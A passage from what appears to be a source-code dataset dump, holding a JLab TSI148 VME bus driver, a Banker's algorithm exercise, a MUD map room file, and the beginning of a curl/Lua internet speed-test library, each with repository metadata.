if(!vmeQuietFlag)
printf("... Open Failed!\n");
}
jlabgefMapTsi();
/* By JLAB default... disable IRQ on BERR */
status = jlabgefDisableBERRIrq(1);
if(status != GEF_STATUS_SUCCESS)
{
printf("%s: ERROR Disabling IRQ on BERR",__FUNCTION__);
}
/* Create Shared Mutex */
vmeBusCreateLockShm();
didOpen=1;
return status;
}
/******************************************************************************
*
* jlabgefCloseDefaultWindows - Close all default VME addressing windows
*
* This routines will close all VME addressing windows that are standard
* to JLab used VME controllers.
*
* A memory map of the TSI148 (VME bridge chip) is un-mapped here.
*
* RETURNS: GEF_STATUS_SUCCESS if successful,
* otherwise, error status from GEF_STATUS_ENUM
*
*/
GEF_STATUS
jlabgefCloseDefaultWindows()
{
GEF_STATUS status;
if(didOpen==0) return 1;
/* Kill Shared Mutex - Here we just unmap it (don't remove the shm file) */
vmeBusKillLockShm(0);
jlabgefUnmapTsi();
/* Close A16 window */
if(!vmeQuietFlag)
printf("Closing A16 Window\n");
status = jlabgefCloseA16();
if (status != GEF_SUCCESS)
{
if(!vmeQuietFlag)
printf("failed: code 0x%08x\n",status);
return -1;
}
/* Close A24 window */
if(!vmeQuietFlag)
printf("Closing A24 Window\n");
status = jlabgefCloseA24();
if (status != GEF_SUCCESS)
{
if(!vmeQuietFlag)
printf("failed: code 0x%08x\n",status);
return -1;
}
/* Close A32 windows */
if(!vmeQuietFlag)
printf("Closing A32Blt Window\n");
status = jlabgefCloseA32Blt();
if (status != GEF_SUCCESS)
{
if(!vmeQuietFlag)
printf("failed: code 0x%08x\n",status);
return -1;
}
if(!vmeQuietFlag)
printf("Closing A32 Window\n");
status = jlabgefCloseA32();
if (status != GEF_SUCCESS)
{
if(!vmeQuietFlag)
printf("failed: code 0x%08x\n",status);
return -1;
}
/* Close the VME Device file */
if(!vmeQuietFlag)
printf("Calling gefVmeClose\n");
LOCK_TSI;
status = gefVmeClose(vmeHdl);
if (status != GEF_SUCCESS)
{
if(!vmeQuietFlag)
printf("gefVmeClose failed: code 0x%08x\n",status);
UNLOCK_TSI;
return -1;
}
UNLOCK_TSI;
didOpen=0;
return status;
}
/******************************************************************************
*
* jlabgefReadRegister - Read a 32bit register from the tempe memory map.
* "offset" is the offset from the tempe base address.
* A list of macros defining offsets from register names
* is found in the header file: gefvme_vme_tempe.h
*
* RETURNS: if successful, returns 32bit value at the requested register
* otherwise, -1.
*
*/
GEF_UINT32
jlabgefReadRegister(GEF_UINT32 offset)
{
GEF_STATUS status;
GEF_UINT32 temp;
status = gefVmeReadReg(vmeHdl,offset,GEF_VME_DWIDTH_D32,&temp);
if (status != GEF_STATUS_SUCCESS) {
printf("jlabgefReadRegister failed with error status = %x\n",status);
return -1;
} else {
return temp;
}
}
/******************************************************************************
*
* jlabgefWriteRegister - Write a 32bit word ("buffer") to a 32bit register in the
* tempe memory map. "offset" is the offset from
* the tempe base address. A list of macros
* defining offsets from register names is found
* in the header file: * gefvme_vme_tempe.h
*
* RETURNS: if successful, returns 32bit value at the requested register
* otherwise, -1.
*
*/
GEF_STATUS
jlabgefWriteRegister(GEF_UINT32 offset, GEF_UINT32 buffer)
{
GEF_STATUS status;
status = gefVmeWriteReg(vmeHdl,offset,GEF_VME_DWIDTH_D32,&buffer);
if (status != GEF_STATUS_SUCCESS)
{
printf("jlabgefWriteRegister failed with error status = %x\n",status);
}
return status;
}
/******************************************************************************
*
* jlabgefSysReset - Assert SYSRESET on the VMEbus.
*
* RETURNS: if successful, returns GEF_STATUS_SUCCESS
* otherwise, error from GEF_STATUS_ENUM.
*
*/
GEF_STATUS
jlabgefSysReset()
{
GEF_STATUS status;
UINT32 read;
read = jlabgefReadRegister(TEMPE_VCTRL);
printf("VCTRL = 0x%08x SRESET = 0x%x\n",
read,
read & TEMPE_VCTRL_SRESET);
status = gefVmeSysReset(vmeHdl);
if (status != GEF_STATUS_SUCCESS)
{
printf("%s: ERROR: Failed with error status = %x\n",
__FUNCTION__,status);
}
read = jlabgefReadRegister(TEMPE_VCTRL);
/* Wait 200us... SYSRESET should clear by then */
usleep(200);
read = jlabgefReadRegister(TEMPE_VCTRL);
if(read & TEMPE_VCTRL_SRESET)
{
/* Not cleared... clear it */
jlabgefWriteRegister(TEMPE_VCTRL, read & ~TEMPE_VCTRL_SRESET);
}
return status;
}
/******************************************************************************
*
* jlabgefBERRIrqStatus() - Get the status of interrupts from the tempe chip upon
* a VME Bus Error.
*
* RETURNS: 1 - IRQ is enabled on BERR
* 0 - IRQ is disabled
* -1 - Error in reading from the INTEN/INTEO register
*
*/
int
jlabgefBERRIrqStatus()
{
GEF_UINT32 tmpCtl;
unsigned int inten_enabled=0, inteo_enabled=0;
LOCK_TSI;
tmpCtl = jlabgefReadRegister(TEMPE_INTEN);
UNLOCK_TSI;
if(tmpCtl == -1)
{
printf("%s: ERROR TEMPE_INTEN read failed.", __FUNCTION__);
return ERROR;
}
/* Check if BERR IRQ is enabled in INTEN */
if(tmpCtl&BIT_INT_VME_ERR)
inten_enabled=1;
else
inten_enabled=0;
LOCK_TSI;
tmpCtl = jlabgefReadRegister(TEMPE_INTEO);
UNLOCK_TSI;
if(tmpCtl == -1)
{
printf("%s: ERROR: TEMPE_INTEO read failed.", __FUNCTION__);
return ERROR;
}
/* Check if BERR IRQ is enabled in INTEO */
if(tmpCtl&BIT_INT_VME_ERR)
inteo_enabled=1;
else
inteo_enabled=0;
if(inten_enabled==inteo_enabled)
{
return inten_enabled;
}
else
{
printf("%s: ERROR: TEMPE_INTEN != TEMPE_INTEO (%d != %d)",
__FUNCTION__, inten_enabled, inteo_enabled);
return ERROR;
}
}
/******************************************************************************
*
* jlabgefDisableBERRIrq() - Disable CPU interrupts from the tempe chip upon
* a VME Bus Error.
*
* You'd typically want to disable VME Bus Error interrupts if you were
* expecting them... and it's not a real error.
*
* RETURNS: GEF_STATUS_SUCCESS if successful,
* otherwise, error status from GEF_STATUS_ENUM
*
*/
GEF_STATUS
jlabgefDisableBERRIrq(int pflag)
{
GEF_UINT32 tmpCtl;
GEF_STATUS status;
LOCK_TSI;
tmpCtl = jlabgefReadRegister(TEMPE_INTEN);
UNLOCK_TSI;
if(tmpCtl == -1)
{
printf("jlabgefDisableBERRIrq (TEMPE_INTEN) read failed.");
}
tmpCtl &= ~BIT_INT_VME_ERR;
LOCK_TSI;
status = jlabgefWriteRegister(TEMPE_INTEN,tmpCtl);
UNLOCK_TSI;
if(status != GEF_STATUS_SUCCESS)
{
printf("jlabgefDisableBERRIrq (TEMPE_INTEN) failed with error status 0x%x\n",
status);
return status;
}
LOCK_TSI;
status = jlabgefWriteRegister(TEMPE_INTEO,tmpCtl);
UNLOCK_TSI;
if(status != GEF_STATUS_SUCCESS)
{
printf("jlabgefDisableBERRIrq (TEMPE_INTEO) failed with error status 0x%x\n",
status);
return status;
}
if(!vmeQuietFlag)
if(pflag==1)
printf("VME Bus Error IRQ Disabled\n");
return GEF_STATUS_SUCCESS;
}
/******************************************************************************
*
* jlabgefEnableBERRIrq() - Enable CPU interrupts from the tempe chip upon
* a VME Bus Error.
*
* RETURNS: GEF_STATUS_SUCCESS if successful,
* otherwise, error status from GEF_STATUS_ENUM
*
*/
GEF_STATUS
jlabgefEnableBERRIrq(int pflag)
{
GEF_UINT32 tmpCtl;
GEF_STATUS status;
LOCK_TSI;
tmpCtl = jlabgefReadRegister(TEMPE_INTEN);
UNLOCK_TSI;
if(tmpCtl == -1)
{
printf("jlabgefEnableBERRIrq (TEMPE_INTEN) read failed.");
return -1;
}
tmpCtl |= BIT_INT_VME_ERR;
LOCK_TSI;
status = jlabgefWriteRegister(TEMPE_INTEN,tmpCtl);
UNLOCK_TSI;
if(status != GEF_STATUS_SUCCESS)
{
printf("jlabgefEnableBERRIrq (TEMPE_INTEN) failed with error status 0x%x\n",
status);
return status;
}
LOCK_TSI;
status = jlabgefWriteRegister(TEMPE_INTEO,tmpCtl);
UNLOCK_TSI;
if(status != GEF_STATUS_SUCCESS)
{
printf("jlabgefEnableBERRIrq (TEMPE_INTEO) failed with error status 0x%x\n",
status);
return status;
}
if(!vmeQuietFlag)
if(pflag==1)
printf("VME Bus Error IRQ Enabled\n");
return GEF_STATUS_SUCCESS;
}
/******************************************************************************
*
* jlabgefMapTsi - map the tempe register space to user space.
*
* This map is made available through the pTempe pointer.
*
* RETURNS: GEF_STATUS_SUCCESS if successful,
* otherwise, error status from GEF_STATUS_ENUM
*
*/
GEF_STATUS
jlabgefMapTsi()
{
GEF_STATUS status;
GEF_UINT32 offset=0x0;
unsigned int pci_base = 0x0;
unsigned int driver_deviveni = 0x0;
unsigned int map_deviveni = 0x0;
char *virtual_addr;
mapHdl = (struct _GEF_VME_MAP_MASTER *) malloc (sizeof (struct _GEF_VME_MAP_MASTER));
if (NULL == mapHdl)
{
return(GEF_VME_SET_ERROR(GEF_STATUS_NO_MEM));
}
memset(mapHdl, 0, sizeof(struct _GEF_VME_MAP_MASTER));
/* Obtain the base from the PCI-VME Bridge itself */
pci_base = jlabgefReadRegister(TEMPE_PCI_MBARL) & 0xfffff000;
mapHdl->phys_addr = pci_base;
mapHdl->virt_addr = 0;
GEF_UINT32 size = 0x7ffff;
status = gefOsaMap (vmeHdl->osa_intf_hdl,
&(mapHdl->osa_map_hdl),
&virtual_addr,
((GEF_UINT32)(mapHdl->phys_addr)+offset),
size);
if(status != GEF_STATUS_SUCCESS)
{
printf("jlabgefMapTsi: ERROR: gefOsaMap returned 0x%x\n",status);
pTempe = NULL;
return status;
}
pTempe = (tsi148_t *)virtual_addr;
/* Quick check of the map, compared to a read through the kernel driver */
LOCK_TSI;
driver_deviveni = jlabgefReadRegister(TEMPE_DEVI_VENI);
map_deviveni = (SSWAP(pTempe->gcsr.veni)) + ((SSWAP(pTempe->gcsr.devi))<<16);
UNLOCK_TSI;
if(driver_deviveni != map_deviveni)
{
printf("jlabgef: ERROR: jlabgefMapTsi: kernel map inconsistent with userspace map\n");
printf("\tdriver_deviveni\t= 0x%x\n\tmap_deviveni\t= 0x%x\n",
driver_deviveni,map_deviveni);
}
else
{
if(!vmeQuietFlag)
printf("jlabgefMapTsi: Tempe Chip Userspace map successful\n");
}
return status;
}
/******************************************************************************
*
* jlabgefUnmapTsi - unmap the tempe register space from user space.
*
* RETURNS: GEF_STATUS_SUCCESS if successful,
* otherwise, error status from GEF_STATUS_ENUM
*
*/
GEF_STATUS
jlabgefUnmapTsi()
{
GEF_STATUS status;
status = gefOsaUnMap(mapHdl->osa_map_hdl);
if(status != GEF_STATUS_SUCCESS)
{
printf("jlabgef: jlabgefUnmapTsi ERROR: gefOsaUnMap returned 0x%x\n",status);
}
free(mapHdl);
return status;
}
/******************************************************************************
*
* jlabgefClearException - Clear any VME Exceptions if they exist
*
* INPUT: pflag = 0 for printf output turned off
* 1 for printf output turned on
* RETURNS: N/A
*
*/
void
jlabgefClearException(int pflag)
{
/* check the VME Exception Attribute... clear it, and put out a warning */
volatile unsigned int vmeExceptionAttribute=0;
LOCK_TSI;
vmeExceptionAttribute = jlabgefReadRegister(TEMPE_VEAT);
/* vmeExceptionAttribute = LSWAP(pTempe->lcsr.veat); */
if(vmeExceptionAttribute & TEMPE_VEAT_VES)
{
if(pflag==1)
{
printf("jlabgefClearException: Clearing VME Exception (0x%x) at VME address 0x%x\n",
vmeExceptionAttribute,LSWAP(pTempe->lcsr.veal));
}
pTempe->lcsr.veat = LSWAP(TEMPE_VEAT_VESCL);
}
UNLOCK_TSI;
}
/******************************************************************************
*
* jlabgefClearBERR - Clear any VME Bus Errors, if they exist
*
* RETURNS: N/A
*
*/
void
jlabgefClearBERR()
{
volatile unsigned int vmeExceptionAttribute=0;
/* check the VME Exception Attribute... clear it, and put out a warning */
LOCK_TSI;
vmeExceptionAttribute = jlabgefReadRegister(TEMPE_VEAT);
/* vmeExceptionAttribute = LSWAP(pTempe->lcsr.veat); */
if( (vmeExceptionAttribute & TEMPE_VEAT_VES) &&
((vmeExceptionAttribute & TEMPE_VEAT_BERR) ||
(vmeExceptionAttribute & TEMPE_VEAT_2eST)) )
{
printf("jlabgefClearBERR: Clearing VME BERR/2eST (0x%x) at VME address 0x%x\n",
vmeExceptionAttribute,
jlabgefReadRegister(TEMPE_VEAL));
pTempe->lcsr.veat = LSWAP(TEMPE_VEAT_VESCL);
}
UNLOCK_TSI;
}
/******************************************************************************
*
* jlabgefMemProbe - Probe the specified USERSPACE address (addr) and check
* for a bus error. Value read from that address is stored
* in rval. size is in bytes.
*
* RETURNS: 0 if successful,
* -1 otherwise
*
*/
int
jlabgefMemProbe(char* addr, int size, char *retVal)
{
volatile unsigned int vmeExceptionAttribute=0;
unsigned int lval; unsigned short sval; char cval;
int irqOnBerr=0;
/* If IRQ on BERR is enabled, disable it... enable it again at the end */
irqOnBerr = jlabgefBERRIrqStatus();
if(irqOnBerr==1)
{
jlabgefDisableBERRIrq(0);
}
/* Clear the Exception register, before trying to read */
jlabgefClearException(0);
/* Perform a test read */
switch(size)
{
case 4:
memcpy(&lval,(void *)addr,sizeof(unsigned int));
lval = LSWAP((unsigned int)lval);
memcpy(retVal,&lval,sizeof(unsigned int));
break;
case 2:
memcpy(&sval,(void *)addr,sizeof(unsigned short));
sval = SSWAP((unsigned short)sval);
memcpy(retVal,&sval,sizeof(unsigned short));
break;
case 1:
memcpy(&cval,(void *)addr,sizeof(char));
memcpy(retVal,&cval,sizeof(char));
break;
default:
printf("%s: ERROR: Invalid size %d",__FUNCTION__,size);
return ERROR;
}
/* Check the Exception register for a VME Bus Error */
LOCK_TSI;
vmeExceptionAttribute = jlabgefReadRegister(TEMPE_VEAT);
if( (vmeExceptionAttribute & TEMPE_VEAT_VES) &&
(vmeExceptionAttribute & TEMPE_VEAT_BERR) )
{
/* Clear the exception register */
printf("%s: Clearing VME BERR/2eST (0x%x) at VME address 0x%x\n",
__FUNCTION__,
vmeExceptionAttribute,
jlabgefReadRegister(TEMPE_VEAL));
pTempe->lcsr.veat = LSWAP(TEMPE_VEAT_VESCL);
UNLOCK_TSI;
return ERROR;
}
UNLOCK_TSI;
if(irqOnBerr==1)
{
jlabgefEnableBERRIrq(0);
}
return OK;
}
/******************************************************************************
*
* THIS ROUTINE IS DEPRECATED. USE jlabgefMemProbe.
*
* jlabgefCheckAddress - Check an address to see if it corresponds to
* a physical module.
*
* addr = VME address + address_offset (a16_window,a24_window,etc..)
*
* RETURNS: 0 if successful,
* -1 otherwise
*
*/
int
jlabgefCheckAddress(char* addr)
{
volatile unsigned int testread;
volatile unsigned int vmeExceptionAttribute=0;
int irqOnBerr=0;
/* If IRQ on BERR is enabled, disable it... enable it again at the end */
irqOnBerr = jlabgefBERRIrqStatus();
if(irqOnBerr==1)
{
jlabgefDisableBERRIrq(0);
}
/* Clear the Exception register, before trying to read */
jlabgefClearException(0);
/* Perform a test read */
testread = *addr;
/* Check the Exception register for a VME Bus Error */
LOCK_TSI;
vmeExceptionAttribute = jlabgefReadRegister(TEMPE_VEAT);
/* vmeExceptionAttribute = LSWAP(pTempe->lcsr.veat); */
if( (vmeExceptionAttribute & TEMPE_VEAT_VES) &&
(vmeExceptionAttribute & TEMPE_VEAT_BERR) )
{
/* Clear the exception register */
printf("%s: Clearing VME BERR/2eST (0x%x) at VME address 0x%x\n",
__FUNCTION__,
vmeExceptionAttribute,
jlabgefReadRegister(TEMPE_VEAL));
pTempe->lcsr.veat = LSWAP(TEMPE_VEAT_VESCL);
UNLOCK_TSI;
return ERROR;
}
UNLOCK_TSI;
if(irqOnBerr==1)
{
jlabgefEnableBERRIrq(0);
}
return OK;
}
/* Stored array of GEF callback handles. Array size is the number of available int levels */
#define MAX_CB_HDL 25
GEF_CALLBACK_HDL gefCB_hdl[MAX_CB_HDL] = {
0,0,0,0,0,
0,0,0,0,0,
0,0,0,0,0,
0,0,0,0,0,
0,0,0,0,0
};
int
jlabgefIntConnect(unsigned int vector,
unsigned int level,
VOIDFUNCPTR routine,
unsigned int arg)
{
GEF_STATUS status;
if(level>=MAX_CB_HDL)
{
printf("jlabgefIntConnect: ERROR: Interrupt level %d not supported\n",level);
return ERROR;
}
if(gefCB_hdl[level]!=0)
{
printf("jlabgefIntConnect: ERROR: Interrupt already connected for level %d\n",level);
return ERROR;
}
status = gefVmeAttachCallback (vmeHdl, level, vector,
routine,(void *)&arg, &gefCB_hdl[level]);
if (status != GEF_SUCCESS)
{
printf("gefVmeAttachCallback failed: code 0x%08x\n",status);
return ERROR;
}
return OK;
}
int
jlabgefIntDisconnect(unsigned int level)
{
GEF_STATUS status;
if(level>=MAX_CB_HDL)
{
printf("jlabgefIntDisconnect: ERROR: Interrupt level %d not supported\n",level);
return ERROR;
}
if(gefCB_hdl[level]==0)
{
printf("jlabgefIntDisconnect: WARN: Interrupt not connected for level %d\n",level);
return OK;
}
status = gefVmeReleaseCallback(gefCB_hdl[level]);
if (status != GEF_SUCCESS)
{
printf("gefVmeReleaseCallback failed: code 0x%08x\n",status);
return ERROR;
}
gefCB_hdl[level] = 0;
return OK;
}
int
jlabgefVmeBusToLocalAdrs(int vmeAdrsSpace,
char *vmeBusAdrs,
char **pPciAdrs)
{
unsigned int vmeSpaceMask;
unsigned int vmeAdrToConvert;
unsigned int base;
unsigned int limit;
unsigned int trans;
unsigned int busAdrs;
int adrConverted=0;
char *pciBusAdrs = 0;
switch (vmeAdrsSpace)
{
case GEF_VME_ADDR_MOD_A32SP:
case GEF_VME_ADDR_MOD_A32SD:
case GEF_VME_ADDR_MOD_A32UP:
case GEF_VME_ADDR_MOD_A32UD:
/* See if the window is A32 enabled */
if (a32_window!=NULL || a32blt_window!=NULL)
{
vmeSpaceMask = 0xffffffff;
vmeAdrToConvert = (unsigned int)vmeBusAdrs;
base = addr_A32.lower;
limit = a32_window_width + addr_A32.lower;
trans = 0;
if ( ((base + trans) <= vmeAdrToConvert) &&
((limit + trans) >= vmeAdrToConvert) )
{
busAdrs = vmeAdrToConvert - base;
pciBusAdrs = (char *)((unsigned int)busAdrs + (unsigned int)a32_window);
adrConverted = 1;
break;
}
else
{
base = addr_A32blt.lower;
limit = a32blt_window_width + addr_A32blt.lower;
trans = 0;
if ( ((base + trans) <= vmeAdrToConvert) &&
((limit + trans) >= vmeAdrToConvert) )
{
busAdrs = vmeAdrToConvert - base;
pciBusAdrs = (char *)((unsigned int)busAdrs + (unsigned int)a32blt_window);
adrConverted = 1;
break;
}
}
break;
}
case GEF_VME_ADDR_MOD_A24SP:
case GEF_VME_ADDR_MOD_A24SD:
case GEF_VME_ADDR_MOD_A24UP:
case GEF_VME_ADDR_MOD_A24UD:
/* See if the window is A24 enabled */
if (a24_window!=NULL)
{
vmeSpaceMask = 0x00ffffff;
vmeAdrToConvert = (unsigned int)vmeBusAdrs & vmeSpaceMask;
base = addr_A24.lower;
limit = a24_window_width + addr_A24.lower;
trans = 0;
if ( ((base + trans) <= vmeAdrToConvert) &&
((limit + trans) >= vmeAdrToConvert) )
{
busAdrs = vmeAdrToConvert - base;
pciBusAdrs = (char *)((unsigned int)busAdrs + (unsigned int)a24_window);
adrConverted = 1;
break;
}
break;
}
case GEF_VME_ADDR_MOD_A16S:
case GEF_VME_ADDR_MOD_A16U:
/* See if the window is A24 enabled */
if (a16_window!=NULL)
{
vmeSpaceMask = 0x0000ffff;
vmeAdrToConvert = (unsigned int)vmeBusAdrs & vmeSpaceMask;
base = addr_A16.lower;
limit = a16_window_width + addr_A16.lower;
trans = 0;
if ( ((base + trans) <= vmeAdrToConvert) &&
((limit + trans) >= vmeAdrToConvert) )
{
busAdrs = vmeAdrToConvert - base;
pciBusAdrs = (char *)((unsigned int)busAdrs + (unsigned int)a16_window);
adrConverted = 1;
break;
}
break;
}
default:
return (ERROR); /* invalid address space */
}
if (adrConverted == 1)
{
*pPciAdrs = pciBusAdrs;
return (OK);
}
return (ERROR);
}
int
jlabgefSetDebugFlags(int flags)
{
GEF_STATUS status;
status = gefVmeSetDebugFlags(vmeHdl,flags);
if(status != GEF_SUCCESS)
{
printf("gefVmeSetDebugFlags returned 0x%08x\n",status);
return ERROR;
}
return OK;
}
| [
"andrea.celentano@ge.infn.it"
] | andrea.celentano@ge.infn.it |
6eb36f1a5ab38aade7883765cda97be27ec41d8b | ab7f67845d340eb70b10fc1b83a0a0732befb4bc | /OS LAB/BankersAlgo.c | dbce7661a225092cdde999cad69a06c8a9d9bc0f | [] | no_license | 1a1242/II-IT-A-LAB | c8c077a1ed258c519c17ab1f1b73c7e7b0f041d5 | 19913f513ea18ef7c0c92bcafffdc31f20cd0201 | refs/heads/main | 2023-06-18T01:14:56.686485 | 2021-07-15T09:18:04 | 2021-07-15T09:18:04 | 375,627,493 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,247 | c | #include<stdio.h>
int main()
{
int m, n, i, j, k;
//m -> processes, n -> resources
printf("Enter no. of processes\n");
scanf("%d", &m);
printf("Enter no. of resourses\n");
scanf("%d", &n);
int allocate[m][n], max[m][n], need[m][n], available[n];
printf("Enter allocation matrix\n");
for(i = 0; i < m; i++)
{
for(j = 0; j < n; j++)
scanf("%d", &allocate[i][j]);
}
printf("Enter max matrix\n");
for(i = 0; i < m; i++)
{
for(j = 0; j < n; j++)
scanf("%d", &max[i][j]);
}
printf("Enter available resources\n");
for(i = 0; i < n; i++)
scanf("%d", &available[i]);
for(i = 0; i < m; i++)
{
for(j = 0; j < n; j++)
need[i][j] = max[i][j] - allocate[i][j];
}
int f[m], res[m], index = 0;
for(i = 0; i < m; i++)
f[i] = 0;
int x = 0;
for(k = 0; k < m; k++)
{
for(i = 0; i < m; i++)
{
if(f[i] == 0)
{
int flag = 0;
for(j = 0; j < n; j++)
{
if(need[i][j] > available[j])
{
flag = 1;
break;
}
}
if(flag == 0)
{
res[index++] = i;
for(x = 0; x < n; x++)
available[x] += allocate[i][x];
f[i] = 1;
}
}
}
}
printf("Safe Sequence\n");
printf("< ");
for(i = 0; i < m; i++)
printf("p%d,", res[i]);
printf(">\n");
return 0;
}
| [
"noreply@github.com"
] | 1a1242.noreply@github.com |
6eb05a473a7c7efb39650e44a96d0180c143e736 | 40de3da30239862f11a946166b50438174c2fd4e | /lib/wizards/gynter/v_map/virtual_map.c | bf38a8d0b78cf75cf869dd6c59bb0a99727b5941 | [
"MIT"
] | permissive | vlehtola/questmud | f53b7205351f30e846110300d60b639d52d113f8 | 8bc3099b5ad00a9e0261faeb6637c76b521b6dbe | refs/heads/master | 2020-12-23T19:59:44.886028 | 2020-01-30T15:52:16 | 2020-01-30T15:52:16 | 237,240,459 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,528 | c | inherit "/room/map_daemon";
check_rooms(string str) {
if (str == "f") return clone_object("/wizards/celtron/field/forest");
if (str == "p") return clone_object("/wizards/celtron/field/plains");
if (str == "v") return clone_object("/wizards/celtron/field/valley");
}
check_special_coords(x,y) {
if(x == 38 && y == 15) return "out: ";
return 0;
}
get_map() {
map = allocate(25);
/* 1234567890123456789012345678901234567890 (exit 38 ja 15)*/
map[0] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[1] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[2] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[3] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[4] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[5] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^pp^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[6] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ppppppp^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[7] = "^^^^^^vvv^^^v^^^^^^^^^^^^^^^^^pppppppppppppp^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[8] = "^^^^^^^vvvvv^^^^^^^^^^^^^^^^^^^^ppppfffpppppppp^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[9] = "^^^^^^^^^^v^^^^v^^^^^^^^^^^^^^^ppppffffffpppppppp^^^^^^^^^^^^^^^^^^^^^^^^";
map[10] = "^^^^^^^^^^vvvvv^^^^^^^^^^^^^^^^pppppfffpppppppp^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[11] = "^^^^^^^^^v^^^^pppp^ppp^^^^^^^^pppppppppppp^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[12] = "^^^^^^^^^^^^^pppppppppppppppppppppppp^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[13] = "^^^^^^^^^^^^^^^^^ppppppppfppppppp^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[14] = "^^^^^^^^^^^^^^^^^^pppppffffppppppp^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[15] = "^^^^^^^^^^^^^^^^^^^^ppffffppppppppppp?^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[16] = "^^^^^^^^^^^^^^^^^^^^^^^^fpppppppppp^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[17] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[18] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[19] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[20] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[21] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
map[22] = "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^";
return map;
}
| [
"ville.lehtola@iki.fi"
] | ville.lehtola@iki.fi |
32aacb48b10cf05b034aca6fb8d39a98a86d8572 | de30e974fa53ec8f2872d61b6829e742426350bd | /MultiThreading/speedtest.c | aeaefe283d0c7f5cf9f3b8e8bfa5fe043d4241ba | [] | no_license | Griebia/speedTest | ca885f129a8b92fb2421551aa57efb92a8970786 | 321c983ae6b8ffe134c37f62785ddc287d6d051e | refs/heads/master | 2021-01-05T20:17:32.068770 | 2020-04-09T15:45:35 | 2020-04-09T15:45:35 | 241,125,365 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 8,595 | c | #include "speedtest.h"
lua_State *stateL;
sem_t mutex;
int threadCount;
struct testresults results[MAX_THREADS];
//Libary of commands for lua to recognise.
static const struct luaL_Reg mylib[] = {
{"testspeed", testspeed_wrapper},
{"getbody", getbody_wrapper},
{NULL, NULL} /* sentinel */
};
//Curl command wrapper for testing the speed of upload or download.
static int testspeed_wrapper(lua_State *L)
{
const char *url = lua_tostring(L, 1);
int timetest = lua_tonumber(L, 2);
int upload = lua_toboolean(L, 3);
int thcount = lua_tonumber(L, 4);
int res = test_internet_speed(url, timetest, upload, L,threadCount);
if (res > 0)
{
res = 0;
}
lua_pushboolean(L, res);
lua_pushstring(L, url);
return 3;
}
//Body get wrapper from a url.
static int getbody_wrapper(lua_State *L)
{
const char *url = lua_tostring(L, 1);
const char *body = get_body(url);
lua_pushstring(L, body);
return 1;
}
//Setting the libary to lua to recognise (The naming scheme should be the same as the made .so files).
int luaopen_libspeedtest(lua_State *L)
{
stateL = L;
// signal(SIGINT, handle_sigint);
// send_signals();
// create_pid();
luaL_newlib(L, mylib);
return 1;
}
//Initialising a string.
void init_string(struct string *s)
{
s->len = 0;
s->ptr = malloc(s->len + 1);
if (s->ptr == NULL)
{
fprintf(stderr, "malloc() failed\n");
exit(EXIT_FAILURE);
}
s->ptr[0] = '\0';
}
//Writes to string struct the gotten data.
size_t write_string(void *ptr, size_t size, size_t nmemb, struct string *s)
{
size_t new_len = s->len + size * nmemb;
s->ptr = realloc(s->ptr, new_len + 1);
if (s->ptr == NULL)
{
fprintf(stderr, "realloc() failed\n");
exit(EXIT_FAILURE);
}
memcpy(s->ptr + s->len, ptr, size * nmemb);
s->ptr[new_len] = '\0';
s->len = new_len;
return size * nmemb;
}
void *write_results(void *input)
{
lua_State *L = (lua_State *)input;
clock_t startTime;
clock_t lastWrite;
startTime = clock();
lastWrite = clock();
while (startTime + 10*CLOCKS_PER_SEC > clock())
{
if (((clock() - lastWrite)/(double)CLOCKS_PER_SEC) >= MINIMAL_PROGRESS_FUNCTIONALITY_INTERVAL)
{
lastWrite = clock();
double downloadSpeed = 0;
double dlnow = 0;
double uploadSpeed = 0;
double ulnow = 0;
for (size_t i = 0; i < threadCount; i++)
{
downloadSpeed = downloadSpeed + results[i].downloadSpeed;
dlnow = dlnow + results[i].dlnow;
uploadSpeed = uploadSpeed + results[i].uploadSpeed;
ulnow = ulnow + results[i].ulnow;
}
//The function in lua that should be called.
lua_getglobal(L, "writeData");
//Return the arguments to the function.
lua_pushnumber(L, (double)downloadSpeed); /* push 1st argument */
